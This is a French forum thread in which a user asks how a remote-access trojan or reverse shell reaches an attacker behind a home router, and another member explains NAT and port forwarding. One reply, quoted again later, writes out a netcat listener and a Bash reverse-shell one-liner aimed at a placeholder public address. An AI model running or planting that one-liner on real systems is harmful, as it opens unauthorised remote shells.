Partage
  • Partager sur Facebook
  • Partager sur Twitter

Cibler une machine dans un réseau (sans NAT)

    8 juillet 2021 à 17:18:36

    Bonjour, j'ai sans cesse une question qui tourne dans ma tête: " Comment les hackers font-ils pour cibler un ordinateur dans un réseau autre que le leur ?". Parce que avec mes connaissances, je n'ai aucune idée de comment font-ils ?

    Pour être plus clair imaginons un trojan RAT, (remote access tool). Nous allons dire qu'il est en python car c'est le language que je connais le mieux. Comment font-ils pour que la partie client donc la cible se connecte à eux. Que mettent-ils dans socket.connect(<ip>,<port>) ?

    Merci

    Je suis reconnaissant à la personne qui sera m'expliquer.

    • Partager sur Facebook
    • Partager sur Twitter
      15 juillet 2021 à 20:10:32

      Bonjour,

      Il mettent l'adresse de leur serveur pour résumer. Comment le client connaît l'adresse du serveur? Ça c'est au choix de l'architecte ;) Mais en simple, il suffirait d'un domaine contrôlé par le pirate et d'une requête DNS.

      Sans même parler de RAT, as-tu déjà entendu parlé de reverse shell? Ou de tunnel inversé (avec SSH par exemple)?

      Le plus compliqué n'est pas de sortir du réseau, mais d'y entrer.

      • Partager sur Facebook
      • Partager sur Twitter
        15 juillet 2021 à 21:20:44

        KoaTao a écrit:

        Bonjour,

        Il mettent l'adresse de leur serveur pour résumer. Comment le client connaît l'adresse du serveur? Ça c'est au choix de l'architecte ;) Mais en simple, il suffirait d'un domaine contrôlé par le pirate et d'une requête DNS.

        Sans même parler de RAT, as-tu déjà entendu parlé de reverse shell? Ou de tunnel inversé (avec SSH par exemple)?

        Le plus compliqué n'est pas de sortir du réseau, mais d'y entrer.

        Oui bien sûr je connais mais comment la cible peut se connecter à l'attaquant, parce que dans le programme il y a un ip public, celui de l'attaquant mais c'est celui du routeur de l'attaquant pas de son ordi 

        • Partager sur Facebook
        • Partager sur Twitter
          15 juillet 2021 à 22:03:57

          C'est exactement la même chose que pour des activités légales.

          Le trafic est redirigé vers le bon serveur. Le plus simplement par NAT/PAT en IPv4.

          Je ne comprends pas trop ce qui te paraît incongru? Qu'est-ce qui bloquerait dans ton idée?

          • Partager sur Facebook
          • Partager sur Twitter
            19 juillet 2021 à 18:52:41

            KoaTao a écrit:

            C'est exactement la même chose que pour des activités légales.

            Le trafic est redirigé vers le bon serveur. Le plus simplement par NAT/PAT en IPv4.

            Je ne comprends pas trop ce qui te paraît incongru? Qu'est-ce qui bloquerait dans ton idée?


            Mais par exemple j'ai déjà utiliser un reverse shell de metasploit. J'ai jamais configuré NAT chez moi et pourtant ça fonctionnait très bien

            • Partager sur Facebook
            • Partager sur Twitter
              19 juillet 2021 à 19:28:21

              En IPv4, si une machine locale a du utiliser internet pour atteindre une machine distante, alors il y a forcément quelques choses.

              |Machine locale| ----||----|Internet|----|Machine distante|

              Soit la machine locale est connectée à internet (avec une adresse IP publique). Et dans ce cas, pas de pb c'est vrai :)

              Soit la machine est sur un réseau local privé (avec une adresse IP privée). Et dans ce cas, gros pb :(

              Les IP privées ne sont pas routées sur Internet donc NAT/PAT, proxy ou tunnel entre les deux machines.

              Ce qui laisse une question: quelle était la valeur de LHOST sur msf? Et comment étaient reliées (physiquement) les deux machines?

              • Partager sur Facebook
              • Partager sur Twitter
                20 juillet 2021 à 7:54:22

                Bah moi j'ai juste essayé sur mon réseau, le LHOST ça importe peu. Mais j'imagine que il y a bien des gens qui arrivent à cibler des machines sur un réseau. Mais après des fois ils tapent une commande netcat avant, je n'ai pas toujours compris.

                Mais par exemple si je faisais un reverse shell en python, il est impossible pour moi de faire que la cible se connecte à moi sans configurer NAT sur mon routeur ?

                • Partager sur Facebook
                • Partager sur Twitter
                  20 juillet 2021 à 22:00:14

                  Si c'est en local, c'est différent, là même sur des réseaux différents, ça reste possible qu'avec du routage au niveau d'IP (dans la réalité ça peut devenir bien plus complexe).

                  Si on a:

                  Alice: 192.168.10/24

                  RouteurA:
                  • 192.168.10.1/24
                  • a.b.c.d

                  Bob: w.x.y.z

                  Avec a.b.c.d et w.x.y.z deux adresses IPv4 publiques.

                  Alice | ---- | RouteurA |------| internet |------| Bob |

                  Et rien d'autres (pas de VPN, tunnel, proxy entre Alice et Bob).

                  Alors:

                  Si Alice initie une connexion vers Bob, la réponse de Bob ne peut atteindre Alice que si le RouteurA a translaté l'adresse de Alice au départ ou si le routeurA redirige tout ou une partie du trafic qui arrive sur interface publique vers Alice (ça se configure explicitement).

                  Si Bob veut initier une connexion avec Alice, alors le RouteurA doit rediriger tout ou une partie du trafic (tu connais la suite).

                  MaxMlr a écrit:

                  Mais par exemple si je faisais un reverse shell en python, il est impossible pour moi de faire que la cible se connecte à moi sans configurer NAT sur mon routeur ?

                   Imaginons qu'Alice lance un serveur en écoute d'un reverse shell sur son interface réseau:

                  nc -l 12345

                  Et qu'Alice est connecté avec un shell sur la machine de Bob (disons que c'est du Linux) et qu'elle ouvre un reverse shell en Bash:

                  bash -i >& /dev/tcp/a.b.c.d/12345 0>&1

                  Alice (depuis la machine de Bob) est bien obligé de mettre l'adresse du routeur comme adresse de destination, et le routeur doit savoir que ce trafic qui lui arrive doit aller vers la machine d'Alice. Donc il faut configurer le routeur pour rediriger le trafic venant de Bob vers Alice d'une manière ou d'une autre.

                  MaxMlr a écrit:

                  Mais par exemple si je faisais un reverse shell en python, il est impossible pour moi de faire que la cible se connecte à moi sans configurer NAT sur mon routeur ?

                  Basiquement oui.

                  EDIT: "a translaté" (sans la negation) sinon ça n'a pas de sens

                  -
                  Edité par KoaTao 21 juillet 2021 à 8:52:29

                  • Partager sur Facebook
                  • Partager sur Twitter
                    23 juillet 2021 à 11:24:27

                    KoaTao a écrit:

                    Si c'est en local, c'est différent, là même sur des réseaux différents, ça reste possible qu'avec du routage au niveau d'IP (dans la réalité ça peut devenir bien plus complexe).

                    Si on a:

                    Alice: 192.168.10/24

                    RouteurA:

                    • 192.168.10.1/24
                    • a.b.c.d

                    Bob: w.x.y.z

                    Avec a.b.c.d et w.x.y.z deux adresses IPv4 publiques.

                    Alice | ---- | RouteurA |------| internet |------| Bob |

                    Et rien d'autres (pas de VPN, tunnel, proxy entre Alice et Bob).

                    Alors:

                    Si Alice initie une connexion vers Bob, la réponse de Bob ne peut atteindre Alice que si le RouteurA a translaté l'adresse de Alice au départ ou si le routeurA redirige tout ou une partie du trafic qui arrive sur interface publique vers Alice (ça se configure explicitement).

                    Si Bob veut initier une connexion avec Alice, alors le RouteurA doit rediriger tout ou une partie du trafic (tu connais la suite).

                    MaxMlr a écrit:

                    Mais par exemple si je faisais un reverse shell en python, il est impossible pour moi de faire que la cible se connecte à moi sans configurer NAT sur mon routeur ?

                     Imaginons qu'Alice lance un serveur en écoute d'un reverse shell sur son interface réseau:

                    nc -l 12345

                    Et qu'Alice est connecté avec un shell sur la machine de Bob (disons que c'est du Linux) et qu'elle ouvre un reverse shell en Bash:

                    bash -i >& /dev/tcp/a.b.c.d/12345 0>&1

                    Alice (depuis la machine de Bob) est bien obligé de mettre l'adresse du routeur comme adresse de destination, et le routeur doit savoir que ce trafic qui lui arrive doit aller vers la machine d'Alice. Donc il faut configurer le routeur pour rediriger le trafic venant de Bob vers Alice d'une manière ou d'une autre.

                    MaxMlr a écrit:

                    Mais par exemple si je faisais un reverse shell en python, il est impossible pour moi de faire que la cible se connecte à moi sans configurer NAT sur mon routeur ?

                    Basiquement oui.

                    EDIT: "a translaté" (sans la negation) sinon ça n'a pas de sens

                    -
                    Edité par KoaTao 21 juillet 2021 à 8:52:29

                    D'accord pour l'information NAT est requis, merci de m'avoir expliqué

                    • Partager sur Facebook
                    • Partager sur Twitter

                    Cibler une machine dans un réseau (sans NAT)

                    × Après avoir cliqué sur "Répondre" vous serez invité à vous connecter pour que votre message soit publié.
                    • Editeur
                    • Markdown